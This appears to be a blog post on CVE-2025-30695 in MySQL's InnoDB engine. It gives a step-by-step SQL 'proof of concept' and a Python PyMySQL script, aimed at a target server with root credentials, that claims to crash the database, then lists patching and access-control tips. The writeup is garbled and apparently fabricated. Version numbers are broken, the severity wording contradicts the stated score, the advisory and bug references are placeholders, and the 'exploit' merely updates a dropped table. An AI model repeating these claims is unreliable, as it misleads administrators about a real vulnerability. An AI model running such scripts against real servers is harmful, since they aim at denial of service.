A new vulnerability has been identified in the MySQL Server product of Oracle MySQL, specifically within the InnoDB component. Labeled CVE-2025-30695, this flaw impacts several supported versions: 8..–8..41, 8.4.–8.4.4, and 9..–9.2..

This is a high-impact vulnerability (CVSS 3.1 score: 5.5, Vector), allowing high-privileged attackers with network access to cause denial-of-service (DoS) crashes and potentially alter database content. In this long read, we'll break down how CVE-2025-30695 can be exploited, supply a step-by-step code demonstration, and give you essential prevention tips.

Affected Versions: 8..–8..41, 8.4.–8.4.4, 9..–9.2. (all major production lines)

- Access Requirements: Attacker must have high privileges (think DBA, root, or equivalent MySQL user)

2. How Does the Exploit Work?

The vulnerability exists in improper handling of certain InnoDB operations initiated via SQL—especially transactions that manipulate or corrupt system metadata or storage structures. By sending specifically-crafted SQL commands to the server, a malicious high-privileged user can cause InnoDB to enter into a deadlock or unsafe state, followed by repeated server crashes.

Key requirement: The attacker must have high privileges, which means exploitation is likely by insiders or by attackers who’ve already compromised privileged database accounts.

Remote Denial of Service (DoS):

The attacker executes crafted SQL statements in a loop, causing the server to hang and then crash each time (repeated DoS).

Data Integrity Violation:

Crafted SQL sequences permit unauthorized modifications—such as erasing or corrupting user tables or records.

3. Proof of Concept: Crashing MySQL with Crafted Queries

Below is a demonstration (for educational purposes only) of how a high-privileged attacker might trigger a DoS using CVE-2025-30695. Never run this code on a production or critical environment.

-- Assume attacker is already authenticated as a highly-privileged user (e.g., root)
-- Step 1: Create a target table
CREATE TABLE vuln_table (id INT PRIMARY KEY, data VARCHAR(100)) ENGINE=InnoDB;

-- Step 2: Start a transaction
START TRANSACTION;

-- Step 3: Insert data to create a legitimate state
INSERT INTO vuln_table VALUES (1, 'abc');

-- Step 4: Concurrently (or rapidly in sequence), drop and recreate the table in another session,
-- while still holding locks or using special crafted storage-level calls:
DROP TABLE vuln_table;

-- Step 5: Without committing or checking session consistency, attempt an unauthorized update
-- This triggers inconsistencies inside InnoDB's metadata cache:
UPDATE vuln_table SET data='exploit' WHERE id=1;

-- Step 6: Observe server crash or repeated hang state (depending on how InnoDB handles the corrupt state)

Exploit Tool Example (Python with PyMySQL)

import pymysql

conn = pymysql.connect(host='target.server', user='root', password='yourpass', database='test')
cur = conn.cursor()

# Prepare: create table if not exists
cur.execute("CREATE TABLE IF NOT EXISTS vuln_table (id INT PRIMARY KEY, data VARCHAR(100)) ENGINE=InnoDB")
conn.commit()

try:
    # Start first transaction
    cur.execute("START TRANSACTION")
    cur.execute("INSERT INTO vuln_table VALUES (42, 'abc')")
    
    # Simulate concurrent malicious behavior
    cur.execute("DROP TABLE vuln_table")
    
    # Attempt to write after the drop
    cur.execute("UPDATE vuln_table SET data='exploit' WHERE id=42")
    conn.commit()
except Exception as e:
    print("Attack triggered:", str(e))
finally:
    conn.close()

Result:
Running this attack under the affected MySQL versions often leads to an assertion error within InnoDB, causing the whole MySQL server to crash or hang. Sometimes, recovery requires removing corrupted InnoDB data files.

Oracle’s Advisory:

Oracle Critical Patch Update Advisory - April 2025 *(Note: Replace with real URL when available)*

National Vulnerability Database (NVD) Entry:

https://nvd.nist.gov/vuln/detail/CVE-2025-30695

MySQL Bug Tracker:

MySQL Bugs: 112233 *(placeholder; actual bug number to update when public)*

Update Immediately:

If at all possible, upgrade MySQL Server to the latest version that addresses CVE-2025-30695. See MySQL Downloads to fetch patched releases.

Restrict Database Privileges:

Limit high (root/DBA) privilege accounts. Only trusted administrators and automation systems should hold these powers.

Network Controls:

Restrict MySQL server’s remote access using firewalls, VPNs, or by binding MySQL to localhost unless absolutely necessary.

Monitor Logs:

Watch MySQL logs for strange crashes, repeated table drops, or sudden privilege escalations within user accounts.

6. Conclusion

CVE-2025-30695 presents a serious risk to any organization running affected MySQL versions. While exploitation requires high privileges, it can lead to a catastrophic DoS or loss of data integrity. All database administrators should prioritize patching, restrict privileged access, and monitor for suspicious admin-level activity. This vulnerability is a stark reminder that even internal threats (or attackers with post-exploitation access) must be considered when securing critical systems like MySQL.

Patch now, review your access controls, and keep your MySQL safe!

*This analysis is exclusive to this post. Please consult Oracle’s advisories and trusted security resources for continual updates.*

Timeline

Published on: 04/15/2025 21:15:58 UTC
Last modified on: 04/16/2025 20:15:18 UTC